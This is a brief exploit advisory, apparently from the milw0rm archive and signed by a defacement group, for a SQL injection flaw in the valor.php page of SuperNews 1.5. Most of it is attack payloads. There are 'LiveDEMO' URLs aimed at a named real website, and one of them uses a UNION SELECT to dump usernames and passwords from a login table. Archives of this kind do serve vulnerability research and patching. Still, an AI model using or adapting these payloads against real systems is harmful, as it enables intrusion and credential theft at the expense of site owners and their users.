27 lines
No EOL
772 B
Text
27 lines
No EOL
772 B
Text
#############################################################
|
|
SuperNews 1.5 SQL Injection in valor.php
|
|
#############################################################
|
|
|
|
|
|
###################################################
|
|
#[~] Author : p3s0k!
|
|
#[~] Terminal Hacker Team
|
|
###################################################
|
|
|
|
Example:
|
|
http://www.avhsj.com.br/noticias/valor.php?noticia=[SQL-Injection]
|
|
|
|
|
|
LiveDEMO:
|
|
|
|
http://www.avhsj.com.br/noticias/valor.php?noticia=-1+union+select+0,1,2,database(),4,5--
|
|
http://www.avhsj.com.br/noticias/valor.php?noticia=-1+union+select+0,1,2,user,pass,5+from+login--
|
|
|
|
|
|
|
|
##############################
|
|
#[!] Terminal Hacker Defacers
|
|
#[!] www.TerminalHacker.es
|
|
##############################
|
|
|
|
# milw0rm.com [2009-03-23] |